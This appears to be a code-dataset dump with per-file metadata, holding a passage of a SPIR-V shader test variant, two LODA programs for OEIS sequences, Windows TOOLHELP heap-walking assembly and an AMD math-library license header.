%281 = OpLabel
%283 = OpLoad %18 %253
%284 = OpISub %18 %283 %60
OpStore %253 %284
%285 = OpAccessChain %41 %62 %28
%286 = OpLoad %18 %285
%287 = OpAccessChain %41 %62 %35
%288 = OpLoad %18 %287
%289 = OpIMul %18 %288 %131
%290 = OpIAdd %18 %286 %289
%291 = OpAccessChain %57 %55 %290
OpStore %291 %60
%292 = OpAccessChain %41 %62 %28
%293 = OpLoad %18 %292
%294 = OpISub %18 %293 %60
%295 = OpAccessChain %41 %62 %35
%296 = OpLoad %18 %295
%297 = OpIMul %18 %296 %131
%298 = OpIAdd %18 %294 %297
%299 = OpAccessChain %57 %55 %298
OpStore %299 %60
%300 = OpAccessChain %41 %62 %28
%301 = OpLoad %18 %300
%302 = OpISub %18 %301 %127
%303 = OpAccessChain %41 %62 %35
%304 = OpLoad %18 %303
%305 = OpIMul %18 %304 %131
%306 = OpIAdd %18 %302 %305
%307 = OpAccessChain %57 %55 %306
OpStore %307 %60
%308 = OpAccessChain %41 %62 %28
%309 = OpLoad %18 %308
%310 = OpISub %18 %309 %127
%311 = OpAccessChain %41 %62 %28
OpStore %311 %310
OpBranch %282
%282 = OpLabel
%312 = OpLoad %18 %253
%313 = OpSGreaterThanEqual %50 %312 %19
OpSelectionMerge %315 None
OpBranchConditional %313 %314 %315
%314 = OpLabel
%316 = OpAccessChain %41 %62 %35
%317 = OpLoad %18 %316
%318 = OpSGreaterThan %50 %317 %19
OpBranch %315
%315 = OpLabel
%319 = OpPhi %50 %313 %282 %318 %314
OpSelectionMerge %321 None
OpBranchConditional %319 %320 %321
%320 = OpLabel
%322 = OpAccessChain %41 %62 %28
%323 = OpLoad %18 %322
%324 = OpAccessChain %41 %62 %35
%325 = OpLoad %18 %324
%326 = OpISub %18 %325 %127
%327 = OpIMul %18 %326 %131
%328 = OpIAdd %18 %323 %327
%329 = OpAccessChain %57 %55 %328
%330 = OpLoad %18 %329
%331 = OpIEqual %50 %330 %19
OpBranch %321
%321 = OpLabel
%332 = OpPhi %50 %319 %315 %331 %320
OpSelectionMerge %334 None
OpBranchConditional %332 %333 %334
%333 = OpLabel
%335 = OpLoad %18 %253
%336 = OpISub %18 %335 %60
OpStore %253 %336
%337 = OpAccessChain %41 %62 %28
%338 = OpLoad %18 %337
%339 = OpAccessChain %41 %62 %35
%340 = OpLoad %18 %339
%341 = OpIMul %18 %340 %131
%342 = OpIAdd %18 %338 %341
%343 = OpAccessChain %57 %55 %342
OpStore %343 %60
%344 = OpAccessChain %41 %62 %28
%345 = OpLoad %18 %344
%346 = OpAccessChain %41 %62 %35
%347 = OpLoad %18 %346
%348 = OpISub %18 %347 %60
%349 = OpIMul %18 %348 %131
%350 = OpIAdd %18 %345 %349
%351 = OpAccessChain %57 %55 %350
OpStore %351 %60
%352 = OpAccessChain %41 %62 %28
%353 = OpLoad %18 %352
%354 = OpAccessChain %41 %62 %35
%355 = OpLoad %18 %354
%356 = OpISub %18 %355 %127
%357 = OpIMul %18 %356 %131
%358 = OpIAdd %18 %353 %357
%359 = OpAccessChain %57 %55 %358
OpStore %359 %60
%360 = OpAccessChain %41 %62 %35
%361 = OpLoad %18 %360
%362 = OpISub %18 %361 %127
%363 = OpAccessChain %41 %62 %35
OpStore %363 %362
OpBranch %334
%334 = OpLabel
%364 = OpLoad %18 %253
%365 = OpSGreaterThanEqual %50 %364 %19
OpSelectionMerge %367 None
OpBranchConditional %365 %366 %367
%366 = OpLabel
%368 = OpAccessChain %41 %62 %28
%369 = OpLoad %18 %368
%370 = OpSLessThan %50 %369 %164
OpBranch %367
%367 = OpLabel
%371 = OpPhi %50 %365 %334 %370 %366
OpSelectionMerge %373 None
OpBranchConditional %371 %372 %373
%372 = OpLabel
%374 = OpAccessChain %41 %62 %28
%375 = OpLoad %18 %374
%376 = OpIAdd %18 %375 %127
%377 = OpAccessChain %41 %62 %35
%378 = OpLoad %18 %377
%379 = OpIMul %18 %378 %131
%380 = OpIAdd %18 %376 %379
%381 = OpAccessChain %57 %55 %380
%382 = OpLoad %18 %381
%383 = OpIEqual %50 %382 %19
OpBranch %373
%373 = OpLabel
%384 = OpPhi %50 %371 %367 %383 %372
OpSelectionMerge %386 None
OpBranchConditional %384 %385 %386
%385 = OpLabel
%387 = OpLoad %18 %253
%388 = OpISub %18 %387 %60
OpStore %253 %388
%389 = OpAccessChain %41 %62 %28
%390 = OpLoad %18 %389
%391 = OpAccessChain %41 %62 %35
%392 = OpLoad %18 %391
%393 = OpIMul %18 %392 %131
%394 = OpIAdd %18 %390 %393
%395 = OpAccessChain %57 %55 %394
OpStore %395 %60
%396 = OpAccessChain %41 %62 %28
%397 = OpLoad %18 %396
%398 = OpIAdd %18 %397 %60
%399 = OpAccessChain %41 %62 %35
%400 = OpLoad %18 %399
%401 = OpIMul %18 %400 %131
%402 = OpIAdd %18 %398 %401
%403 = OpAccessChain %57 %55 %402
OpStore %403 %60
%404 = OpAccessChain %41 %62 %28
%405 = OpLoad %18 %404
%406 = OpIAdd %18 %405 %127
%407 = OpAccessChain %41 %62 %35
%408 = OpLoad %18 %407
%409 = OpIMul %18 %408 %131
%410 = OpIAdd %18 %406 %409
%411 = OpAccessChain %57 %55 %410
OpStore %411 %60
%412 = OpAccessChain %41 %62 %28
%413 = OpLoad %18 %412
%414 = OpIAdd %18 %413 %127
%415 = OpAccessChain %41 %62 %28
OpStore %415 %414
OpBranch %386
%386 = OpLabel
%416 = OpLoad %18 %253
%417 = OpSGreaterThanEqual %50 %416 %19
OpSelectionMerge %419 None
OpBranchConditional %417 %418 %419
%418 = OpLabel
%420 = OpAccessChain %41 %62 %35
%421 = OpLoad %18 %420
%422 = OpSLessThan %50 %421 %164
OpBranch %419
%419 = OpLabel
%423 = OpPhi %50 %417 %386 %422 %418
OpSelectionMerge %425 None
OpBranchConditional %423 %424 %425
%424 = OpLabel
%426 = OpAccessChain %41 %62 %28
%427 = OpLoad %18 %426
%428 = OpAccessChain %41 %62 %35
%429 = OpLoad %18 %428
%430 = OpIAdd %18 %429 %127
%431 = OpIMul %18 %430 %131
%432 = OpIAdd %18 %427 %431
%433 = OpAccessChain %57 %55 %432
%434 = OpLoad %18 %433
%435 = OpIEqual %50 %434 %19
OpBranch %425
%425 = OpLabel
%436 = OpPhi %50 %423 %419 %435 %424
OpSelectionMerge %438 None
OpBranchConditional %436 %437 %438
%437 = OpLabel
%439 = OpLoad %18 %253
%440 = OpISub %18 %439 %60
OpStore %253 %440
%441 = OpAccessChain %41 %62 %28
%442 = OpLoad %18 %441
%443 = OpAccessChain %41 %62 %35
%444 = OpLoad %18 %443
%445 = OpIMul %18 %444 %131
%446 = OpIAdd %18 %442 %445
%447 = OpAccessChain %57 %55 %446
OpStore %447 %60
%448 = OpAccessChain %41 %62 %28
%449 = OpLoad %18 %448
%450 = OpAccessChain %41 %62 %35
%451 = OpLoad %18 %450
%452 = OpIAdd %18 %451 %60
%453 = OpIMul %18 %452 %131
%454 = OpIAdd %18 %449 %453
%455 = OpAccessChain %57 %55 %454
OpStore %455 %60
%456 = OpAccessChain %41 %62 %28
%457 = OpLoad %18 %456
%458 = OpAccessChain %41 %62 %35
%459 = OpLoad %18 %458
%460 = OpIAdd %18 %459 %127
%461 = OpIMul %18 %460 %131
%462 = OpIAdd %18 %457 %461
%463 = OpAccessChain %57 %55 %462
OpStore %463 %60
%464 = OpAccessChain %41 %62 %35
%465 = OpLoad %18 %464
%466 = OpIAdd %18 %465 %127
%467 = OpAccessChain %41 %62 %35
OpStore %467 %466
OpBranch %438
%438 = OpLabel
OpBranch %206
%206 = OpLabel
%468 = OpAccessChain %41 %26 %35
%469 = OpLoad %18 %468
%470 = OpIMul %18 %469 %131
%471 = OpAccessChain %41 %26 %28
%472 = OpLoad %18 %471
%473 = OpIAdd %18 %470 %472
%474 = OpAccessChain %57 %55 %473
%475 = OpLoad %18 %474
%476 = OpIEqual %50 %475 %60
OpSelectionMerge %478 None
OpBranchConditional %476 %477 %478
%477 = OpLabel
OpStore %480 %482
OpReturn
%478 = OpLabel
OpBranch %80
%80 = OpLabel
%484 = OpLoad %50 %65
OpBranchConditional %484 %77 %79
%79 = OpLabel
OpStore %480 %485
OpReturn
OpFunctionEnd
| 34.954545 | 58 | 0.48341 |
[
"Apache-2.0"
] |
Vihanakangas/ShaderTests
|
bugs/PENDING_SUBMIT/0443-AMD-MESA-void-acoanonymousbegin-divergent-if-elseacoisel-co/reduced_1_result/variant/1_spirv_asm/shader.frag.asm
| 23,839 |
Assembly
|
; A076883: Let u(0)=1, u(n) = 5/2 * floor(u(n-1)); then a(n) = (2/5)*u(n).
; 1,2,5,12,30,75,187,467,1167,2917,7292,18230,45575,113937,284842,712105,1780262,4450655,11126637,27816592,69541480,173853700,434634250,1086585625,2716464062,6791160155,16977900387,42444750967,106111877417
mov $1,1
lpb $0,1
sub $0,1
mul $1,5
div $1,2
lpe
| 33.7 | 205 | 0.706231 |
[
"Apache-2.0"
] |
karttu/loda
|
programs/oeis/076/A076883.asm
| 337 |
Assembly
|
; A126645: a(n) is the number of integers k less than 10^n such that the decimal representation of k lacks the digits 1,2,3,4 and 5, at least one of digits 6,7 and at least one of digits 8,9.
; 5,21,77,261,845,2661,8237,25221,76685,232101,700397,2109381,6344525,19066341,57264557,171924741,516036365,1548633381,4646948717,13942943301,41833024205,125507461221,376539160877,1129651037061,3389020220045,10167194877861,30501853069037,91506096078021,274519361975885,823560233411301,2470684995201197,7412063575538181
mov $3,6
lpb $0
sub $0,1
add $1,2
mul $1,2
add $2,$3
mov $3,$2
mul $2,2
add $1,$2
lpe
add $1,5
| 41.4 | 318 | 0.771337 |
[
"Apache-2.0"
] |
jmorken/loda
|
programs/oeis/126/A126645.asm
| 621 |
Assembly
|
; A024771: Expansion of 1/((1-x)(1-8x)(1-9x)(1-10x)).
; Submitted by Jon Maiga
; 1,28,515,7850,107481,1373088,16714975,196403350,2246489861,25160397548,277090599435,3010102678050,32332333478641,344033387428408,3631750686931895,38080468894107950,396993032851849821,4118198909216785668,42536994202463280355,437729691089378309050,4489852277053186179401,45922062062580037909328,468516802227142350652815,4769508280466768342737350,48459542118691923690643381,491518730935266493174959388,4977842504464822989359097275,50345085059673914421618688850,508572896804100401044773817761
add $0,2
lpb $0
sub $0,1
add $2,2
mul $2,8
mul $3,10
add $3,$1
mul $1,9
add $1,$2
lpe
mov $0,$3
div $0,16
| 40.647059 | 490 | 0.823444 |
[
"Apache-2.0"
] |
ckrause/loda-programs
|
oeis/024/A024771.asm
| 691 |
Assembly
|
; A021360: Decimal expansion of 1/356.
; 0,0,2,8,0,8,9,8,8,7,6,4,0,4,4,9,4,3,8,2,0,2,2,4,7,1,9,1,0,1,1,2,3,5,9,5,5,0,5,6,1,7,9,7,7,5,2,8,0,8,9,8,8,7,6,4,0,4,4,9,4,3,8,2,0,2,2,4,7,1,9,1,0,1,1,2,3,5,9,5,5,0,5,6,1,7,9,7,7,5,2,8,0,8,9,8,8,7,6
seq $0,173833 ; 10^n - 3.
div $0,356
mod $0,10
| 41 | 199 | 0.54007 |
[
"Apache-2.0"
] |
ckrause/loda-programs
|
oeis/021/A021360.asm
| 287 |
Assembly
|
; A269696: Number of active (ON,black) cells at stage 2^n-1 of the two-dimensional cellular automaton defined by "Rule 6", based on the 5-celled von Neumann neighborhood.
; 1,5,20,80,320,1280,5120,20480,81920,327680,1310720,5242880,20971520,83886080,335544320,1342177280
add $0,1
mov $1,4
pow $1,$0
mul $1,5
div $1,16
mov $0,$1
| 32.9 | 170 | 0.744681 |
[
"Apache-2.0"
] |
ckrause/cm
|
programs/oeis/269/A269696.asm
| 329 |
Assembly
|
;**************************************************************************
;* walk286.ASM
;*
;* Assembly support code for the KRNL286 global heap routines
;* for TOOLHELP.DLL
;*
;**************************************************************************
INCLUDE TOOLPRIV.INC
PMODE32 = 0
PMODE = 1
SWAPPRO = 0
INCLUDE WINKERN.INC
;** External functions
externNP HelperVerifySeg
externNP HelperHandleToSel
externNP HelperPDBtoTDB
externNP HelperSegLen
;** Functions
sBegin CODE
assumes CS,CODE
; Walk286Count
;
; Returns the number of blocks in the given list
cProc Walk286Count, <PUBLIC,NEAR>, <di>
parmW wFlags
cBegin
mov es,hMaster ;Segment of master block
mov ax,wFlags ;Get the flag value
shr ax,1 ;Check for GLOBAL_LRU
jc W2C_LRU ;Bit set, must be LRU
shr ax,1 ;Check for GLOBAL_FREE
jc W2C_Free ;Must be free
;Must be GLOBAL_ALL
;** Get total object count
mov ax,es:[hi_count] ;Get heap count
inc ax ;Bump to include first sentinel
jmp SHORT W2C_End ;Get out
;** Get LRU object count
W2C_LRU:
mov ax,es:[gi_lrucount] ;Get the LRU count
jmp SHORT W2C_End ;Get out
;** Get Free list object count
W2C_Free:
mov ax,es:[gi_free_count] ;Get free count
jmp SHORT W2C_End ;Get out
;** Return the result in AX
W2C_End:
cEnd
; Walk286First
;
; Returns a handle to the first block in the 286 global heap.
cProc Walk286First, <PUBLIC,NEAR>, <di>
parmW wFlags
cBegin
mov es,hMaster ;Segment of master block
mov ax,wFlags ;Get the flag value
shr ax,1 ;Check for GLOBAL_LRU
jc W2F_LRU ;Bit set, must be LRU
shr ax,1 ;Check for GLOBAL_FREE
jc W2F_Free ;Must be free
;Must be GLOBAL_ALL
;** Get first object in complete heap (wFlags == GLOBAL_ALL)
mov ax,es:[hi_first] ;Get handle of first arena header
jmp SHORT W2F_End ;Get out
;** Get first object in LRU list
W2F_LRU:
mov ax,es:[gi_lrucount] ;Get the number of objects
or ax,ax ;Are there any objects?
je W2F_End ;No, return NULL
inc es:[gi_lrulock] ;No LRU sweeping for awhile
inc wLRUCount ;Keep a count of this
mov ax,es:[gi_lruchain] ;Get a pointer to the first item
jmp SHORT W2F_End ;Done
;** Get first object in Free list
W2F_Free:
mov ax,es:[gi_free_count] ;Get the number of objects
or ax,ax ;Are there any objects?
jz W2F_End ;No, return NULL
mov es,es:[hi_first] ;Get the first object
mov ax,es:[ga_freenext] ;Skip to the first free block
;Fall through to the return
;** Return the result in AX (return DX = NULL)
W2F_End:
xor dx,dx ;Clear high word
cEnd
; Walk286
;
; Takes a pointer to a block and returns a GLOBALENTRY structure
; full of information about the block. If the block pointer is
; NULL, looks at the first block. The last field in the GLOBALENTRY
; structure is used to chain to the next block and is thus used to walk
; the heap.
cProc Walk286, <PUBLIC,NEAR>, <di,si,ds>
parmD dwBlock
parmD lpGlobal
parmW wFlags
cBegin
;** Set up to build public structure
mov es,WORD PTR dwBlock ;Point to this block
lds si,lpGlobal ;Point to the GLOBALENTRY structure
;** Fill public structure
mov ax,es:[ga_handle] ;Get the handle of the block
mov [si].ge_hBlock,ax ;Put in public structure
mov ax,es:[ga_size] ;Get the size of the block (LOWORD)
mov dx,ax ;Clear high word
shl ax,4 ;Left shift DX:AX by 4
shr dx,16-4
mov WORD PTR [si].ge_dwBlockSize,ax ;Put in public structure
mov WORD PTR [si].ge_dwBlockSize + 2,dx ;Put in public structure
mov ax,es:[ga_owner] ;Owning task of block
mov [si].ge_hOwner,ax ;Put in public structure
xor ah,ah ;No upper BYTE
mov al,es:[ga_count] ;Lock count (moveable segments)
mov [si].ge_wcLock,ax ;Put in public structure
mov WORD PTR [si].ge_wcPageLock,0 ;Zero the page lock count
mov al,es:[ga_flags] ;BYTE of flags
xor ah,ah ;No upper BYTE
mov [si].ge_wFlags,ax ;Put in public structure
mov ax,es:[ga_next] ;Put next pointer in structure
mov WORD PTR [si].ge_dwNext,ax
mov WORD PTR [si].ge_dwNext + 2,0
;** Use DPMI to compute linear address of selector
mov ax,6 ;Get Segment Base Address
mov bx,es ;Get the segment value
int 31h ;Call DPMI
mov WORD PTR [si].ge_dwAddress,dx ;Save linear address
mov WORD PTR [si].ge_dwAddress + 2,cx
;** If this is a data segment, get local heap information
mov ax,[si].ge_hBlock ;Get the handle
cCall Walk286VerifyLocHeap
mov [si].ge_wHeapPresent,TRUE ;Flag that there's a heap
jnc W2_10 ;There really is no heap
mov [si].ge_wHeapPresent,FALSE ;Flag that there's no heap
W2_10:
;** If the owner is a PDB, translate this to the TDB
mov bx,[si].ge_hOwner ;Get the owner
cCall HelperHandleToSel, <bx> ;Translate to selector
mov bx,ax ;Get the selector in BX
cCall HelperVerifySeg, <ax,2> ;Must be two bytes long
or ax,ax ;Is it?
jz W2_15 ;No.
push es ;Save ES for later
mov es,bx ;Point to possible PDB block
cmp es:[0],20CDh ;Int 20h is first word of PDB
jnz W2_12 ;Nope, don't mess with this
mov ax,bx ;Pass parameter in AX
cCall HelperPDBtoTDB ;Get the corresponding TDB
or ax,ax ;Was one found?
jz W2_11 ;No.
mov [si].ge_hOwner,ax ;Make the owner the TDB instead
W2_11: or [si].ge_wFlags,GF_PDB_OWNER ;Flag that a PDB owned block
W2_12: pop es ;Restore ES
W2_15:
;** Check for this being the last item in both lists
mov ax,es ;Get the current pointer
cmp ax,es:[ga_next] ;See if we're at the end
jne W2_20 ;No
mov WORD PTR [si].ge_dwNext,0 ;NULL the next pointer
mov WORD PTR [si].ge_dwNext + 2,0
W2_20: mov ax,es ;Get current pointer
mov cx,wFlags ;Get the flags back
cCall NextLRU286 ;Get next LRU list pointer or 0
mov WORD PTR [si].ge_dwNextAlt,ax
mov WORD PTR [si].ge_dwNextAlt + 2,0
W2_End:
cEnd
; Walk286Handle
;
; Finds an arena pointer given a block handle
cProc Walk286Handle, <PUBLIC,NEAR>, <di,si,ds>
parmW hBlock
cBegin
mov ax,hBlock ;Get the block handle
cCall HelperHandleToSel, <ax> ;Convert to selector
cCall SelToArena286 ;Get the arena pointer
jnc W2H_10 ;Must be OK
xor ax,ax ;Return a 0L
xor dx,dx
jmp SHORT W2H_End ;Error in conversion, get out
W2H_10: mov ax,bx ;Get the low word
xor dx,dx ;No high word
W2H_End:
cEnd
; WalkLoc286Count
;
; Returns the number of blocks in the given local heap
cProc WalkLoc286Count, <PUBLIC,NEAR>, <di>
parmW hHeap
cBegin
;** Verify that it has a local heap
mov ax, hHeap ;Get the block
cCall Walk286VerifyLocHeap ;Verify it
jnc LC_10 ;It's OK
xor ax,ax ;No heap
jmp SHORT LC_End ;Get out
LC_10:
;** Point to the block
mov ax,hHeap ;Get the heap block
cCall HelperHandleToSel, <ax> ;Convert it to a selector
mov es,ax ;Use ES to point to it
mov bx,es:[6] ;Get a pointer to the HeapInfo struct
;** Get the number of blocks
mov ax,es:[bx].hi_count ;Get the count
LC_End:
cEnd
; WalkLoc286First
;
; Returns a handle to the first block in the 286 global heap.
cProc WalkLoc286First, <PUBLIC,NEAR>, <di>
parmW hHeap
cBegin
;** Verify that the given global block has a local heap
mov ax, hHeap ;Get the block
cCall Walk286VerifyLocHeap ;Verify it
jnc LF_10 ;It's OK
xor ax,ax ;No heap
jmp SHORT LF_End ;Get out
LF_10:
;** Point to the global block
mov ax,hHeap ;Get the heap block
cCall HelperHandleToSel, <ax> ;Convert it to a selector
mov es,ax ;Use ES to point to it
mov bx,es:[6] ;Get a pointer to the HeapInfo struct
;** Get the first block and return it
mov ax,WORD PTR es:[bx].hi_first ;Get the first block
LF_End:
cEnd
; WalkLoc286
;
; Takes a pointer to a block and returns a GLOBALENTRY structure
; full of information about the block. If the block pointer is
; NULL, looks at the first block. The last field in the GLOBALENTRY
; structure is used to chain to the next block and is thus used to walk
; the heap.
cProc WalkLoc286, <PUBLIC,NEAR>, <di,si,ds>
parmW wBlock
parmD lpLocal
parmW hHeap
cBegin
;** Verify that it has a local heap
mov ax, hHeap ;Get the block
cCall Walk286VerifyLocHeap ;Verify it
jnc LW_10 ;It's OK
jmp LW_End ;Get out
LW_10:
;** Get variables from the TOOLHELP DGROUP
mov ax,_DATA ;Get the variables first
mov ds,ax ;Point to our DS
mov bx,hUserHeap ;BX=User's heap block
mov cx,hGDIHeap ;CX=GDI's heap block
;** Point to the heap
mov ax,hHeap ;Get the heap block
cCall HelperHandleToSel, <ax> ;Convert it to a selector
mov es,ax ;Use ES to point to it
lds di,lpLocal ;Point to the LOCALENTRY structure
mov [di].le_wHeapType,NORMAL_HEAP ;In case we don't match below...
cmp bx,hHeap ;User's heap?
jnz LW_3 ;No
mov [di].le_wHeapType,USER_HEAP ;Yes
jmp SHORT LW_5 ;Skip on
LW_3: cmp cx,hHeap ;GDI's heap?
jnz LW_5 ;No
mov [di].le_wHeapType,GDI_HEAP ;Yes
LW_5:
mov si,wBlock ;Get the address of the block
;** Get information about the given block
mov bx,es:[si].la_handle ;Get the handle
mov [di].le_hHandle,bx ;Save in the public structure
mov ax,si ;Get block address
add ax,la_fixedsize ;Skip fixed size local arena
mov [di].le_wAddress,ax ;Save the block address
mov ax,es:[si].la_next ;Get the address of the next block
mov [di].le_wNext,ax ;Save the next pointer
sub ax,si ;Compute the size
sub ax,SIZE LocalArena ;Don't count arena size
mov [di].le_wSize,ax ;Save in public structure
mov ax,es:[si].la_prev ;Get the flags
and ax,3 ;Mask out all but flags
mov [di].le_wFlags,ax ;Save in structure
;** Moveable arenas are bigger and have a lock count to get
test al,LA_MOVEABLE ;Block has a handle iff it's moveable
jz SHORT LW_NoHandle ;No handle info
sub [di].le_wSize, (SIZE LocalArena) - la_fixedsize
add [di].le_wAddress, (SIZE LocalArena) - la_fixedsize
xor ah,ah ;Clear upper word
mov al,es:[bx].lhe_count ;Get lock count
mov [di].le_wcLock,ax ;Save it
jmp SHORT LW_20 ;Skip no handle info
LW_NoHandle:
mov ax, [di].le_wAddress ;Handle of fixed block is real offset
mov [di].le_hHandle, ax
mov [di].le_wcLock,0
LW_20:
;** See if it's the end
cmp [di].le_wNext,si ;Loop pointer?
jnz LW_End ;Nope
mov [di].le_wNext,0 ;Set a zero pointer
LW_End:
cEnd
; Walk286VerifyLocHeap
;
; Verifies that the given global block points to a data segment
; with a local heap.
;
; Call:
; AX = Block handle or selector
; Return:
; Carry flag set iff NOT a local heap segment
;
; Destroys all registers except AX, ESI, EDI, DS, and ES
cProc Walk286VerifyLocHeap, <PUBLIC,NEAR>, <es,si,di>
cBegin
;** Convert to a handle
cCall HelperHandleToSel, <ax>
;** Verify the selector
push ax ;Save the parameter
mov bx,SIZE LocalInfo ;Get the size
cCall HelperVerifySeg, <ax,bx> ;Check the selector
or ax,ax ;Is it valid?
pop ax ;Restore parameter
jnz VLH_SelOK ;Yes.
stc ;Set error flag
jmp SHORT VLH_End ;Get out
VLH_SelOK:
;** Check data segment to see if it has a local heap
mov es,ax ;Point to the local block with ES
cCall HelperSegLen, <ax> ;Get the length of the heap
or ax,ax ;Check for error
jz VLH_NoHeap ;Get out on error
mov cx,ax ;Use CX for comparisons
cmp cx,8 ;At least 8 bytes long?
ja VLH_10 ;Yes
stc ;No -- set error flag and get out
jmp SHORT VLH_End
VLH_10: mov bx,es:[6] ;Get offset to HeapInfo struct
or bx,bx ;If NULL, no local heap
jz VLH_NoHeap ;Get out
sub cx,bx ;See if HeapInfo is beyond segment
jbe VLH_NoHeap
sub cx,li_sig + 2 ;Compare against last structure mem
jbe VLH_NoHeap
cmp es:[bx].li_sig,LOCALHEAP_SIG ;Make sure the signature matches
jne VLH_NoHeap ;Doesn't match
clc ;Must be a heap!
jmp SHORT VLH_End
VLH_NoHeap:
stc ;Set error flag
VLH_End:
cEnd
;** Private helper functions
; SelToArena286
;
; Finds the arena entry for the given selector or handle.
; The arena entry is stored 16 bytes before the block in linear
; address space.
;
; Caller: AX = Selector
; Returns: BX = Arena entry
; Trashes everything except segment registers and AX
; Carry set on error
cProc SelToArena286, <NEAR>, <es,ds,ax>
cBegin
;** Convert to a handle
cCall HelperHandleToSel, <ax>
;** Verify selector
push ax ;Save the parameter
cCall HelperVerifySeg, <ax,1> ;Check the selector
or ax,ax ;Is it valid?
pop ax ;Restore parameter
jnz STA_SelOK ;Must be
stc ;Nope. Set error flag and exit
jmp SHORT STA_End
STA_SelOK:
;** If this is Win30StdMode, we're in the old KRNL286 which used
;* an arcane method of finding the arena. If that's the case
;** here, handle it seperately.
mov bx,_DATA ;Get the static data segment
mov ds,bx
test wTHFlags,TH_WIN30STDMODE ;3.0 Std Mode?
jnz STA_OldKRNL286 ;Yes
mov bx,segKernel ;Get the KERNEL variable segment
mov es,bx
mov bx,npwSelTableLen ;Get the pointer
mov dx,es:[bx] ;Get the selector table length
mov bx,npdwSelTableStart ;Get the start of the sel table
mov bx,es:[bx] ;Get the linear offset (32 bits)
mov es,hMaster ;Point to the arena table
and al,not 7 ;Clear the RPL bits for table lookup
shr ax,2 ;Convert to WORD offset
cmp ax,dx ;Check to see if off the end of table
jb STA_InTable ;It's in the table
stc ;Set error flag--not in table
jmp SHORT STA_End ;Get out
STA_InTable:
add bx,ax ;Add the selector offset
mov bx,es:[bx] ;Do the sel table indirection
clc ;BX now points to arena segment
jmp SHORT STA_End ;Skip the old stuff
STA_OldKRNL286:
mov bx,ax ;Selector in BX
mov ax,6 ;DPMI function 6, Get Seg Base Addr
int 31h ;Call DPMI
sub dx,10h ;Move back 16 bytes
sbb cx,0 ; (this is a linear address)
mov ax,7 ;DPMI function 7, Set Seg Base Addr
mov bx,wSel ;Use our roving selector
int 31h ;Call DPMI
mov ax,8 ;DPMI function 8, Set Seg Limit
xor cx,cx ;No upper byte
mov dx,16 ;Just 16 bytes
int 31h ;Call DPMI
mov ax,9 ;DPMI function 9, Set Access Rights
mov cl,0b2h ;Desired rights byte
int 31h ;Call DPMI
;Return arena segment pointer in BX
STA_End:
cEnd
; NextLRU286
;
; Checks the given arena table pointer to see if it is the last
; arena entry on the list.
; Uses a grungy method that is necessitated because of the
; unterminated linked lists we're dealing with here. The count
; stored is the only reliable method for finding the end. So, to
; provide random access to blocks in the heap, the heap is searched
; from top to bottom to find the block and see if it is the last
; one. If it is or if it is not on the given list, returns a 0
; pointer to the next item.
;
; If this search is for the entire global heap, we do not get the
; LRU link, but return NULL in AX. This speeds this up alot!
;
; Caller: AX = Arena table pointer
; CX = GLOBAL_ALL, GLOBAL_FREE, or GLOBAL_LRU
; Return: AX = Next arena table pointer or 0 if no more
; Trashes all registers except segment registers and SI,DI
cProc NextLRU286, <NEAR,PUBLIC>, <es,ds,si,di>
cBegin
;** Decode the flags
mov bx,_DATA ;Get the static data segment
mov ds,bx ;Point with DS
mov es,hMaster ;Segment of master block
cmp cx,GLOBAL_ALL ;Don't do this on full heap search
jne @F
jmp SHORT NL_BadList ;Just return NULL for this one
@@: cmp cx,GLOBAL_FREE ;Check free list?
je NL_Free ;Yes
;** Loop through LRU list until we find this item
NL_LRU:
mov si,ax ;Save the selector in AX
mov cx,es:[gi_lrucount] ;Get the number of objects
jcxz NL_Bad ;No object so return end
dec cx ;We don't want to find the last one
jcxz NL_Bad ;1 object so return end
mov ds,es:[gi_lruchain] ;Get a pointer to the first item
NL_LRULoop:
mov ax,ds ;Get in AX so we can compare
cmp si,ax ;Match yet?
je NL_ReturnNext ;Found it, return next item
mov ds,ds:[ga_lrunext] ;Not found yet, get the next one
loop NL_LRULoop ;Loop through all items
;** Unlock the LRU sweeping
NL_Bad: dec es:[gi_lrulock] ;OK to LRU sweep now
mov ax, _DATA ;Point to TH Data seg
mov ds, ax
dec wLRUCount ;Keep a count of this
jmp SHORT NL_BadList ;Not here either. Get out
;** Loop through free list until we find this item
NL_Free:
mov si,ax ;Save the selector in SI
mov cx,es:[gi_free_count] ;Get the number of objects
jcxz NL_BadList ;0 objects so return end
dec cx ;We don't want to find the last one
jcxz NL_BadList ;1 object so return end
mov ds,es:[hi_first] ;Get a pointer to the first item
NL_FreeLoop:
mov ds,ds:[ga_lrunext] ;Not found yet, get the next one
mov ax,ds ;Get the pointer so we can compare it
cmp ax,si ;Is this the one?
je NL_ReturnNext ;Yes, return it
loop NL_FreeLoop ;Loop through all items
jmp SHORT NL_BadList ;Not here either. Get out
NL_ReturnNext:
mov ax,ds:[ga_lrunext] ;Return the next one
jmp SHORT NL_End ;Get out
NL_BadList:
xor ax,ax ;Return zero for error
NL_End:
cEnd
sEnd
END
| 42.564831 | 79 | 0.493407 |
[
"Unlicense"
] |
bestbat/Windows-Server
|
base/mvdm/wow16/toolhelp/walk286.asm
| 23,964 |
Assembly
|
;
; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without modification,
; are permitted provided that the following conditions are met:
; 1. Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer.
; 2. Redistributions in binary form must reproduce the above copyright notice,
; this list of conditions and the following disclaimer in the documentation
; and/or other materials provided with the distribution.
; 3. Neither the name of the copyright holder nor the names of its contributors
; may be used to endorse or promote products derived from this software without
; specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
; POSSIBILITY OF SUCH DAMAGE.
;
;
; vrs4powf.asm
;
